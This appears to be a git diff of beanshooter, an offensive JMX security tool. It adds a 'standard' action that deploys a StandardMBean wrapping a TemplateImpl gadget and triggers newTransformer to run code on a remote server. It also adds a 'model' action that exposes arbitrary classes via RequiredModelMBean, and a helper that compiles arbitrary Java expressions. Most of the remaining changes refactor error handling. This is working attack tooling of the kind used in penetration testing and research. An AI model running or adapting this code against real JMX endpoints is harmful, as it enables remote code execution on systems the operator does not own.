+ BeanshooterOption.TARGET_OBJID_SERVER,
+ BeanshooterOption.TARGET_OBJID_CONNECTION,
+ BeanshooterOption.CONN_FOLLOW,
+ BeanshooterOption.CONN_SSL,
+ BeanshooterOption.CONN_JMXMP,
+ BeanshooterOption.CONN_JOLOKIA,
+ BeanshooterOption.CONN_JOLOKIA_ENDPOINT,
+ BeanshooterOption.CONN_JOLOKIA_PROXY,
+ BeanshooterOption.CONN_JOLOKIA_PROXY_USER,
+ BeanshooterOption.CONN_JOLOKIA_PROXY_PASS,
+ BeanshooterOption.CONN_USER,
+ BeanshooterOption.CONN_PASS,
+ BeanshooterOption.CONN_SASL,
+ BeanshooterOption.STANDARD_OPERATION,
+ BeanshooterOption.STANDARD_OPERATION_ARGS,
+ BeanshooterOption.STANDARD_EXEC_ARRAY,
+ }),
SERIAL("serial", "perform a deserialization attack", new Option[] {
BeanshooterOption.GLOBAL_CONFIG,
diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java
index 1e190ec..5401b70 100644
--- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java
+++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java
@@ -439,6 +439,69 @@ public enum BeanshooterOption implements Option {
ArgType.STRING
),
+ MODEL_OBJ_NAME("object-name",
+ "ObjectName for the newly deployed RequiredModelMBean",
+ Arguments.store(),
+ OptionGroup.ACTION,
+ ArgType.STRING
+ ),
+
+ MODEL_CLASS_NAME("class-name",
+ "Class that should be made accessible via the deployed RequiredModelMBean",
+ Arguments.store(),
+ OptionGroup.ACTION,
+ ArgType.STRING
+ ),
+
+ MODEL_RESOURCE("resource",
+ "managed resource for the RequiredModelMBean",
+ Arguments.store(),
+ OptionGroup.ACTION,
+ ArgType.STRING
+ ),
+
+ MODEL_ALL_METHODS("--all-methods",
+ "also deploy methods with non serializable parameters",
+ Arguments.storeTrue(),
+ OptionGroup.ACTION,
+ ArgType.BOOL
+ ),
+
+ MODEL_SIGNATURE("--signature",
+ "create a RequiredModelMBean with the specified method signature",
+ Arguments.store(),
+ OptionGroup.ACTION,
+ ArgType.STRING
+ ),
+
+ STANDARD_OPERATION("operation",
+ "operation to execute via StandardMBean",
+ Arguments.store(),
+ OptionGroup.ACTION,
+ ArgType.STRING
+ ),
+
+ STANDARD_OPERATION_ARGS("args",
+ "arguments for the operation to execute via StandardMBean",
+ Arguments.store(),
+ OptionGroup.ACTION,
+ ArgType.STRING
+ ),
+
+ STANDARD_EXEC_ARRAY("--exec-array",
+ "space-split the command in three parts and pass it as array to Runtime.exec",
+ Arguments.storeTrue(),
+ OptionGroup.ACTION,
+ ArgType.BOOL
+ ),
+
+ MODEL_SIGNATURE_FILE("--signature-file",
+ "create a RequiredModelMBean with method signatures from a file",
+ Arguments.store(),
+ OptionGroup.ACTION,
+ ArgType.STRING
+ ),
+
STAGER_HOST("host",
"the IP address to listen on",
Arguments.store(),
diff --git a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java
index bef385d..6cd691b 100644
--- a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java
+++ b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java
@@ -9,11 +9,20 @@
import javax.management.Attribute;
import javax.management.MBeanException;
+import javax.management.MBeanParameterInfo;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.ReflectionException;
+import javax.management.RuntimeErrorException;
import javax.management.RuntimeMBeanException;
+import javax.management.StandardMBean;
+import javax.management.modelmbean.ModelMBeanAttributeInfo;
+import javax.management.modelmbean.ModelMBeanInfo;
+import javax.management.modelmbean.ModelMBeanInfoSupport;
+import javax.management.modelmbean.ModelMBeanOperationInfo;
+import javax.management.modelmbean.RequiredModelMBean;
+import javax.xml.transform.Templates;
import org.jolokia.client.exception.J4pRemoteException;
@@ -104,6 +113,90 @@ public void deploy()
Logger.decreaseIndent();
}
+ /**
+ * Creates a new RequiredModelMBean on the remote MBean server that allows access to a user specified
+ * class.
+ */
+ public void model()
+ {
+ String className = ArgumentHandler.require(BeanshooterOption.MODEL_CLASS_NAME);
+ ObjectName mBeanObjectName = Utils.getObjectName(ArgumentHandler.require(BeanshooterOption.MODEL_OBJ_NAME));
+
+ ModelMBeanOperationInfo[] ops;
+ MBeanServerClient mBeanServerClient = getMBeanServerClient();
+
+ try
+ {
+ Class> cls = Class.forName(className);
+ ops = Utils.createModelMBeanInfosFromClass(cls);
+ Logger.printlnBlue("Deploying RequiredModelMBean supporting methods from " + cls.getName());
+ }
+
+ catch (ClassNotFoundException e)
+ {
+ if (BeanshooterOption.MODEL_SIGNATURE.isNull() && BeanshooterOption.MODEL_SIGNATURE_FILE.isNull())
+ {
+ Logger.eprintlnMixedYellow("The specified class", className, "cannot be found locally.");
+ Logger.eprintMixedBlue("You can still use it by providing method signatures via", "--signature", "or ");
+ Logger.eprintlnPlainBlue("--signature-file");
+ Utils.exit(e);
+ }
+
+ ops = Utils.createModelMBeanInfosFromArg(className);
+ Logger.printlnBlue("Deploying RequiredModelMBean supporting user specified methods");
+ }
+
+ Logger.lineBreak();
+ Logger.increaseIndent();
+
+ ModelMBeanInfo mmbi = new ModelMBeanInfoSupport(className, "ModelMBean", new ModelMBeanAttributeInfo[] {}, null, ops, null);
+ mBeanServerClient.deployMBean(RequiredModelMBean.class.getName(), mBeanObjectName, null, new Object[] { mmbi }, new String[] { ModelMBeanInfo.class.getName() });
+
+ Logger.lineBreak();
+ Logger.printlnYellow("Available Methods:");
+
+ for (ModelMBeanOperationInfo op : ops)
+ {
+ String ret = op.getReturnType();
+ String name = op.getName();
+ StringBuilder args = new StringBuilder();
+
+ for (MBeanParameterInfo param : op.getSignature())
+ {
+ args.append(param.getType());
+ args.append(", ");
+ }
+
+ if (op.getSignature().length > 0)
+ args.setLength(args.length() - 2);
+
+ Logger.printMixedBlue(" -", ret + " ");
+ Logger.printPlainYellow(name);
+ Logger.printlnPlainBlue("(" + args.toString() + ")");
+ }
+
+ if (BeanshooterOption.MODEL_RESOURCE.notNull())
+ {
+ Object managedResource = PluginSystem.strToObj(BeanshooterOption.MODEL_RESOURCE.getValue());
+
+ try
+ {
+ Logger.lineBreak();
+ Logger.printlnMixedYellow("Setting managed resource to:", BeanshooterOption.MODEL_RESOURCE.getValue());
+ mBeanServerClient.invoke(mBeanObjectName, "setManagedResource", new String[] { Object.class.getName(), "java.lang.String" }, managedResource, "objectReference");
+ Logger.printlnMixedBlue("Managed resource was set", "successfully.");
+ }
+
+ catch (MBeanException | ReflectionException | IOException e)
+ {
+ ExceptionHandler.showStackTrace(e);
+ ExceptionHandler.internalError("model", "Caught " + e.getClass().getName() + " while invoking setManagedResource.");
+ }
+ }
+
+ Logger.decreaseIndent();
+ }
+
/**
* Removes the specified MBean from the remote MBeanServer.
*/
@@ -291,6 +384,100 @@ else if (BeanshooterOption.SERIAL_PREAUTH.getBool())
}
};
+ /**
+ * Attempt to bruteforce valid credentials on the targeted JMX endpoint.
+ */
+ public void standard()
+ {
+ String className = StandardMBean.class.getName();
+ ObjectName mBeanObjectName = Utils.getObjectName("de.qtc.beanshooter:standard=" + System.nanoTime());
+
+ String operation = "template-" + BeanshooterOption.STANDARD_OPERATION.getValue();
+ String arguments = BeanshooterOption.STANDARD_OPERATION_ARGS.getValue();
+
+ if (!operation.equals("template-tonka") && arguments.equals(""))
+ {
+ Logger.eprintlnMixedYellow("The " + operation + " action requires", "an additional parameter", "to work with.");
+ Utils.exit();
+ }
+
+ Logger.printlnBlue("Creating a TemplateImpl payload object to abuse StandardMBean");
+ Logger.lineBreak();
+ Logger.increaseIndent();
+
+ Object templateGadget = PluginSystem.getPayloadObject(BeanshooterOperation.STANDARD, operation, arguments);
+ MBeanServerClient mBeanServerClient = getMBeanServerClient();
+
+ String[] ctorArgTypes = new String[] { Object.class.getName(), Class.class.getName() };
+ Object[] ctorArgs = new Object[] { templateGadget, Templates.class };
+
+ mBeanServerClient.deployMBean(className, mBeanObjectName, null, ctorArgs, ctorArgTypes);
+ Logger.lineBreak();
+
+ try
+ {
+ mBeanServerClient.invoke(mBeanObjectName, "newTransformer", new String[0]);
+ }
+
+ catch (RuntimeMBeanException e)
+ {
+ Throwable t = ExceptionHandler.getCause(e);
+
+ if (t instanceof NullPointerException)
+ {
+ Logger.printlnMixedBlue("Caught", "NullPointerException", "while invoking the newTransformer action.");
+ Logger.printlnMixedBlue("This is expected bahavior and the attack most likely", "worked", ":)");
+ }
+
+ else
+ {
+ ExceptionHandler.unexpectedException(e, "standard", "action", true);
+ }
+ }
+
+ catch (RuntimeErrorException e)
+ {
+ if (operation.equals("template-upload"))
+ {
+ String[] split = arguments.split("::");
+
+ if (split.length < 2)
+ ExceptionHandler.handleFileWrite(e, arguments, false);
+
+ else
+ ExceptionHandler.handleFileWrite(e, split[1], false);
+ }
+
+ else
+ {
+ ExceptionHandler.unexpectedException(e, "standard", "action", false);
+ }
+ }
+
+ catch (MBeanException | ReflectionException | IOException e)
+ {
+ Throwable t = ExceptionHandler.getCause(e);
+
+ if (t instanceof IllegalAccessError && t.getMessage().contains("module java.xml does not export"))
+ {
+ Logger.eprintlnMixedYellow("Caught", "IllegalAccessError", "during template transformation.");
+ Logger.eprintlnMixedBlue("The server does not export", "AbstractTranslet", "which prevents the standard action from working.");
+ ExceptionHandler.showStackTrace(e);
+ }
+
+ else
+ {
+ ExceptionHandler.unexpectedException(e, "standard", "action", false);
+ }
+ }
+
+ finally
+ {
+ Logger.lineBreak();
+ mBeanServerClient.unregisterMBean(mBeanObjectName);
+ }
+ };
+
/**
* Attempt to bruteforce valid credentials on the targeted JMX endpoint.
*/
@@ -375,12 +562,12 @@ public void invoke()
Logger.printlnBlue("Call was successful.");
}
- catch (MBeanException | ReflectionException | IOException e)
+ catch (RuntimeMBeanException | MBeanException | ReflectionException | IOException e)
{
Throwable t = ExceptionHandler.getCause(e);
String message = t.getMessage();
- if (message.contains("No operation " + methodName))
+ if (message != null && message.contains("No operation " + methodName))
{
if (message.contains("Known signatures: "))
ExceptionHandler.noOperationAlternative(e, signature, methodName, message);
@@ -468,14 +655,12 @@ public void attr()
{
Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), String.format("while setting attribute %s from %s", attrName, objectName));
Logger.eprintlnMixedBlue("There seems to be", "no setter available", "for the requested attribute.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), String.format("while accessing attribute %s from %s", attrName, objectName));
Logger.eprintln("beanshooter does not handle exceptions for custom attribute access.");
- ExceptionHandler.stackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
}
diff --git a/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java b/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java
index e09c178..4f0be8b 100644
--- a/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java
+++ b/beanshooter/src/de/qtc/beanshooter/operation/EnumHelper.java
@@ -622,8 +622,7 @@ public boolean requiresLogin()
{
Logger.printlnMixedBlue("Caught", "SaslProfileException", "during login attempt.");
Logger.printlnMixedYellow("Use the", "--sasl", "option to specify a matching SASL profile.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
Logger.printlnMixedYellow("Caught unknown", e.getOriginalException().getClass().getName(), "during connection attempt.");
@@ -668,16 +667,14 @@ public void checkLoginFormat()
Logger.printlnMixedYellow("Caught", "MismatchedURIException", "during login attempt.");
Logger.printlnMixedBlueFirst("Digest authentication", "requires the correct hostname to be used.");
Logger.printlnMixedBlue("The following hostname is expected by the server:", ((MismatchedURIException)e).getUri());
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
if(e instanceof SaslProfileException)
{
Logger.printlnMixedBlue("Caught", "SaslProfileException", "during login attempt.");
Logger.printlnMixedYellow("Use the", "--sasl", "option to specify a matching SASL profile.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
Logger.printlnMixedYellow("Caught unknown", e.getOriginalException().getClass().getName(), "during login attempt.");
diff --git a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java
index 554d643..5ea2e38 100644
--- a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java
+++ b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java
@@ -2,6 +2,7 @@
import java.io.IOException;
import java.lang.reflect.UndeclaredThrowableException;
+import java.rmi.UnmarshalException;
import java.util.Set;
import javax.management.Attribute;
@@ -17,6 +18,7 @@
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.ReflectionException;
+import javax.management.RuntimeOperationsException;
import org.jolokia.client.exception.J4pRemoteException;
import org.jolokia.client.exception.UncheckedJmxAdapterException;
@@ -75,6 +77,21 @@ public boolean isRegistered(ObjectName name)
* @param jarFile path to a jar file for remote deployments (null if not desired)
*/
public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, String jarFile)
+ {
+ deployMBean(mBeanClassName, mBeanObjectName, jarFile, null, null);
+ }
+
+ /**
+ * Deploys the specified MBean. If the load parameter is set to true, the MBean will be loaded
+ * using getMBeansFromURL if it is not known to the MBEanServer.
+ *
+ * @param mBeanClassName class that is implemented by the MBean
+ * @param mBeanObjectName objectName implemented by the MBean
+ * @param jarFile path to a jar file for remote deployments (null if not desired)
+ * @param if a specific constructor should be used, define its parameters here
+ * @param if a specific constructor should be used, define its signature here
+ */
+ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, String jarFile, Object[] params, String[] signature)
{
String className = mBeanClassName.substring(mBeanClassName.lastIndexOf(".") + 1);
Logger.printlnMixedYellow("Deplyoing MBean:", className);
@@ -87,7 +104,11 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin
return;
}
- conn.createMBean(mBeanClassName, mBeanObjectName);
+ if (params == null || signature == null)
+ conn.createMBean(mBeanClassName, mBeanObjectName);
+
+ else
+ conn.createMBean(mBeanClassName, mBeanObjectName, params, signature);
}
catch (InstanceAlreadyExistsException e)
@@ -123,7 +144,7 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin
if (BeanshooterOption.DEPLOY_STAGER_URL.isNull())
{
Logger.eprintlnMixedYellow("Use the", BeanshooterOption.DEPLOY_STAGER_URL.getName(), "option to load the MBean from remote.");
- Utils.exit();
+ Utils.exit(e);
}
DynamicMBean mbean = new DynamicMBean(mBeanObjectName, mBeanClassName, jarFile);
@@ -140,7 +161,7 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin
Logger.eprintlnMixedBlue("The specified class", className, "is not known by the server.");
Logger.eprintMixedYellow("Use the", "--jar-file");
Logger.eprintlnPlainMixedYellow(" and", "--stager-url", "options to provide an implementation.");
- Utils.exit();
+ Utils.exit(e);
}
}
@@ -164,6 +185,21 @@ else if( e.getMessage().contains("Creating an MBean that is a ClassLoader is for
ExceptionHandler.unexpectedException(e, "registering", "MBean", true);
}
+ catch (UnmarshalException e)
+ {
+ Throwable t = ExceptionHandler.getCause(e);
+
+ if (t instanceof ClassNotFoundException)
+ {
+ String missingClass = t.getMessage().split(" ")[0];
+ Logger.eprintlnMixedYellow("Caught", "ClassNotFoundException", "during MBean deployment.");
+ Logger.eprintlnMixedBlue("The class", missingClass, "is not known by the server.");
+ Utils.exit(e);
+ }
+
+ ExceptionHandler.unexpectedException(e, "registering", "MBean", true);
+ }
+
catch (Exception e)
{
ExceptionHandler.unexpectedException(e, "registering", "MBean", true);
@@ -309,6 +345,28 @@ public Object invoke(ObjectName name, String methodName, String[] argTypes, Obje
throw e;
}
+ catch (RuntimeOperationsException e)
+ {
+ Throwable t = ExceptionHandler.getCause(e);
+
+ if (t instanceof IllegalArgumentException)
+ {
+ String[] actualArgumentTypes = new String[args.length];
+
+ for (int ctr = 0; ctr < args.length; ctr++)
+ {
+ actualArgumentTypes[ctr] = args[ctr].getClass().getName();
+ }
+
+ Logger.eprintlnMixedYellow("Caught unexpected", "IllegalArgumentException", "while invoking the method.");
+ Logger.eprintlnMixedBlue("The specified argument types:", String.join(", ", actualArgumentTypes));
+ Logger.eprintlnMixedBlue("Do not match the expected argument types:", String.join(" ,", argTypes));
+ Utils.exit(e);
+ }
+
+ throw e;
+ }
+
return result;
}
@@ -396,7 +454,7 @@ else if (message.contains("InvalidAttributeValueException"))
Logger.eprintlnMixedYellow("Caught", "InvalidAttributeValueException", "while setting the attribute.");
Logger.eprintlnMixedBlue("The specified attribute value of class", attr.getValue().getClass().getName(), "is probably not compatible.");
Logger.eprintlnMixedYellow("You can use the", "--type", "option to specify a different type manually.");
- Utils.exit();
+ Utils.exit(e);
}
}
@@ -418,7 +476,7 @@ else if (message.contains("InvalidAttributeValueException"))
Logger.eprintlnMixedYellow("Caught", "InvalidAttributeValueException", "while setting the attribute.");
Logger.eprintlnMixedBlue("The specified attribute value of class", attr.getValue().getClass().getName(), "is probably not compatible.");
Logger.eprintlnMixedYellow("You can use the", "--type", "option to specify a different type manually.");
- Utils.exit();
+ Utils.exit(e);
}
}
diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java
index c189746..41d1cb4 100644
--- a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java
+++ b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java
@@ -21,6 +21,8 @@
public interface IArgumentProvider
{
Object[] getArgumentArray(String[] argumentArray) throws PluginException;
+ Object strToObj(String str) throws PluginException;
String[] getArgumentTypes(String signature) throws PluginException;
+ String[] getArgumentTypes(String signature, boolean includeName) throws PluginException;
String getMethodName(String signature) throws PluginException;
}
diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java
index 0390fdc..70e8194 100644
--- a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java
+++ b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java
@@ -91,12 +91,14 @@ private static void loadPlugin(String pluginPath)
JarInputStream jarStream = null;
File pluginFile = new File(pluginPath);
- if(!pluginFile.exists()) {
+ if (!pluginFile.exists())
+ {
Logger.eprintlnMixedYellow("Specified plugin path", pluginPath, "does not exist.");
Utils.exit();
}
- try {
+ try
+ {
jarStream = new JarInputStream(new FileInputStream(pluginFile));
Manifest mf = jarStream.getManifest();
pluginClassName = mf.getMainAttributes().getValue(manifestAttribute);
@@ -105,50 +107,67 @@ private static void loadPlugin(String pluginPath)
if(pluginClassName == null)
throw new MalformedPluginException();
- } catch(Exception e) {
+ }
+
+ catch(Exception e)
+ {
Logger.eprintlnMixedYellow("Caught", e.getClass().getName(), "while reading the Manifest of the specified plugin.");
Logger.eprintlnMixedBlue("Plugins need to be valid JAR files that contain the", manifestAttribute, "attribute.");
- Utils.exit();
+ Utils.exit(e);
}
- try {
+ try
+ {
URLClassLoader ucl = new URLClassLoader(new URL[] {pluginFile.toURI().toURL()});
Class> pluginClass = Class.forName(pluginClassName, true, ucl);
pluginInstance = pluginClass.newInstance();
+ }
- } catch(Exception e) {
+ catch (Exception e)
+ {
Logger.eprintMixedYellow("Caught", e.getClass().getName(), "while reading plugin file ");
Logger.printlnPlainBlue(pluginPath);
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
- if(pluginInstance instanceof IMBeanServerProvider) {
+ if (pluginInstance instanceof IMBeanServerProvider)
+ {
mBeanServerProvider = (IMBeanServerProvider)pluginInstance;
inUse = true;
+ }
- } if(pluginInstance instanceof ISocketFactoryProvider) {
+ if (pluginInstance instanceof ISocketFactoryProvider)
+ {
socketFactoryProvider = (ISocketFactoryProvider)pluginInstance;
inUse = true;
+ }
- } if(pluginInstance instanceof IPayloadProvider) {
+ if (pluginInstance instanceof IPayloadProvider)
+ {
payloadProvider = (IPayloadProvider)pluginInstance;
inUse = true;
+ }
- } if(pluginInstance instanceof IArgumentProvider) {
+ if (pluginInstance instanceof IArgumentProvider)
+ {
argumentProvider = (IArgumentProvider)pluginInstance;
inUse = true;
+ }
- } if(pluginInstance instanceof IResponseHandler) {
+ if (pluginInstance instanceof IResponseHandler)
+ {
responseHandler = (IResponseHandler)pluginInstance;
inUse = true;
+ }
- } if(pluginInstance instanceof IAuthenticationProvider) {
+ if (pluginInstance instanceof IAuthenticationProvider)
+ {
authenticationProvider = (IAuthenticationProvider)pluginInstance;
inUse = true;
}
- if(!inUse) {
+ if (!inUse)
+ {
Logger.eprintMixedBlue("Plugin", pluginPath, "was successfully loaded, but is ");
Logger.eprintlnPlainYellow("not in use.");
Logger.eprintln("Plugins should implement at least one of the available plugin interfaces.");
@@ -407,6 +426,29 @@ public static Object[] getArgumentArray(String[] argumentArray)
return args;
}
+ /**
+ * Create an Object from a Java expression.
+ *
+ * @param str Java expression. Class names need to be specified full qualified
+ * @return Object created from the Java expression
+ */
+ public static Object strToObj(String str)
+ {
+ Object args = null;
+
+ try
+ {
+ args = argumentProvider.strToObj(str);
+ }
+
+ catch (PluginException e)
+ {
+ ExceptionHandler.pluginException(e);
+ }
+
+ return args;
+ }
+
/**
* Pass the user supplied method signature to the ArgumentProvider and return the resulting
* string array of parameter types.
@@ -431,6 +473,31 @@ public static String[] getArgumentTypes(String signature)
return types;
}
+ /**
+ * Pass the user supplied method signature to the ArgumentProvider and return the resulting
+ * string array of parameter types.
+ *
+ * @param signature user supplied method signature
+ * @param includeNanme whether to include the methods name as a string
+ * @return String array containing the parsed parameter type names
+ */
+ public static String[] getArgumentTypes(String signature, boolean includeName)
+ {
+ String[] types = null;
+
+ try
+ {
+ types = argumentProvider.getArgumentTypes(signature, includeName);
+ }
+
+ catch (PluginException e)
+ {
+ ExceptionHandler.pluginException(e);
+ }
+
+ return types;
+ }
+
/**
* Pass the user supplied method signature to the ArgumentProvider and return the resulting
* method name parsed from the signature.
diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java
index 90e3b54..aab466f 100644
--- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java
+++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java
@@ -73,6 +73,49 @@ else if( arguments.length == 0 )
return result;
}
+ /**
+ * Create an Object from a Java expression.
+ *
+ * @param str Java expression. Class names need to be specified full qualified
+ * @return Object created from the Java expression
+ */
+ public Object strToObj(String str)
+ {
+ Object result = null;
+ ClassPool pool = ClassPool.getDefault();
+
+ try {
+ CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider");
+ String evalFunction = "public static Object eval() {"
+ + " return " + str + ";"
+ + "}";
+
+ CtMethod me = CtNewMethod.make(evalFunction, evaluator);
+ evaluator.addMethod(me);
+
+ Class> evalClass = evaluator.toClass();
+ Method m = evalClass.getDeclaredMethods()[0];
+
+ result = (Object) m.invoke(evalClass, (Object[])null);
+
+ } catch(VerifyError | CannotCompileException e) {
+ ExceptionHandler.invalidArgumentException(e, str);
+
+ } catch (Exception e) {
+ ExceptionHandler.unexpectedException(e, "argument array", "generation", true);
+ }
+
+ return result;
+ }
+
+ /**
+ * See description below.
+ */
+ public String[] getArgumentTypes(String signature)
+ {
+ return getArgumentTypes(signature, false);
+ }
+
/**
* MBean calls are dispatched using an array of argument objects and an array of class names of the
* corresponding argument types. In ordinary MBean clients, this is no problem, as the methods are available
@@ -91,14 +134,14 @@ else if( arguments.length == 0 )
* create a dummy method from the user specified method signature and when obtain the correct
* type names via reflection and getParameterTypes() on the associated method object.
*/
- public String[] getArgumentTypes(String signature)
+ public String[] getArgumentTypes(String signature, boolean includeName)
{
ClassPool pool = ClassPool.getDefault();
List result = new ArrayList();
signature = Utils.makeVoid(signature);
try {
- CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider2");
+ CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider2" + System.nanoTime());
String dummyFunction = "public static " + signature + " {}";
CtMethod me = CtNewMethod.make(dummyFunction, evaluator);
@@ -107,6 +150,9 @@ public String[] getArgumentTypes(String signature)
Class> evalClass = evaluator.toClass();
targetMethod = evalClass.getDeclaredMethods()[0];
+ if (includeName)
+ result.add(targetMethod.getName());
+
for(Class> type : targetMethod.getParameterTypes())
result.add(type.getName());
diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java
index c6431ed..0fa44d9 100644
--- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java
+++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JMXMPProvider.java
@@ -43,14 +43,14 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map
java.security.Security.setProperty("ssl.SocketFactory.provider", PluginSystem.getDefaultSSLSocketFactoryClass(host, port));
- if( BeanshooterOption.CONN_SSL.getBool() )
+ if (BeanshooterOption.CONN_SSL.getBool())
{
env.put("jmx.remote.tls.socket.factory", PluginSystem.getSSLSocketFactory(host, port));
env.put("jmx.remote.profiles", "TLS");
}
SASLMechanism saslMechanism = ArgumentHandler.getSASLMechanism();
- if( saslMechanism != null )
+ if (saslMechanism != null)
{
if (!env.containsKey(JMXConnector.CREDENTIALS) && ArgumentHandler.getInstance().getAction() != BeanshooterOperation.BRUTE)
ArgumentHandler.requireAllOf(BeanshooterOption.CONN_USER, BeanshooterOption.CONN_PASS);
@@ -91,8 +91,7 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map
throw new SaslSuperflousException(e, true);
Logger.eprintlnMixedYellow("Caught unexpected", "IOException", "while connecting to the specified JMX service.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
catch( java.lang.SecurityException e )
diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java
index a32fff9..00e9f88 100644
--- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java
+++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JNDIProvider.java
@@ -40,34 +40,41 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map
java.security.Security.setProperty("ssl.SocketFactory.provider", PluginSystem.getDefaultSSLSocketFactoryClass(host, port));
- if( BeanshooterOption.CONN_SSL.getBool() )
+ if (BeanshooterOption.CONN_SSL.getBool())
env.put("com.sun.jndi.rmi.factory.socket", new SslRMIClientSocketFactory());
- try {
+ try
+ {
RMISocketFactory.setSocketFactory(PluginSystem.getDefaultRMISocketFactory(host, port));
+ }
- } catch (IOException e) {
+ catch (IOException e)
+ {
Logger.eprintlnMixedBlue("Unable to set custom", "RMISocketFactory.", "Host redirection will probably not work.");
ExceptionHandler.showStackTrace(e);
Logger.eprintln("");
}
- try {
+ try
+ {
JMXServiceURL jmxUrl = new JMXServiceURL(String.format(connString, host, port));
JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env);
mBeanServerConnection = jmxConnector.getMBeanServerConnection();
+ }
- } catch (MalformedURLException e) {
+ catch (MalformedURLException e)
+ {
ExceptionHandler.internalError("DefaultMBeanServerProvider.getMBeanServerConnection", "Invalid URL.");
+ Utils.exit(e);
+ }
- } catch (IOException e) {
+ catch (IOException e)
+ {
Logger.eprintlnMixedYellow("Caught unexpected", "IOException", "while connecting to the specified JMX service.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
return mBeanServerConnection;
}
-
}
diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java
index e31aa2e..97f430a 100644
--- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java
+++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/JolokiaProvider.java
@@ -85,9 +85,7 @@ else if (t instanceof ParseException)
{
Logger.eprintlnMixedYellow("Caught", "ParseException", "while parsing the server response.");
Logger.eprintlnMixedBlue("The specified target is", "probably not", "a Jolokia endpoint.");
-
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
ExceptionHandler.unexpectedException(e, "while connecting", "to the jolokia endpoint", true);
@@ -130,6 +128,7 @@ else if (t instanceof CertPathValidatorException)
else if (t instanceof java.io.EOFException || t instanceof java.net.SocketException)
{
Logger.eprintln("The JMX server closed the connection. This usually indicates a networking problem.");
+ ExceptionHandler.showStackTrace(e);
}
else
diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java
index 1f0a215..a833459 100644
--- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java
+++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/RMIProvider.java
@@ -54,7 +54,7 @@ public MBeanServerConnection getMBeanServerConnection(String host, int port, Map
RMIConnector rmiConnector = null;
MBeanServerConnection connection = null;
- if( BeanshooterOption.TARGET_OBJID_CONNECTION.notNull() )
+ if (BeanshooterOption.TARGET_OBJID_CONNECTION.notNull())
{
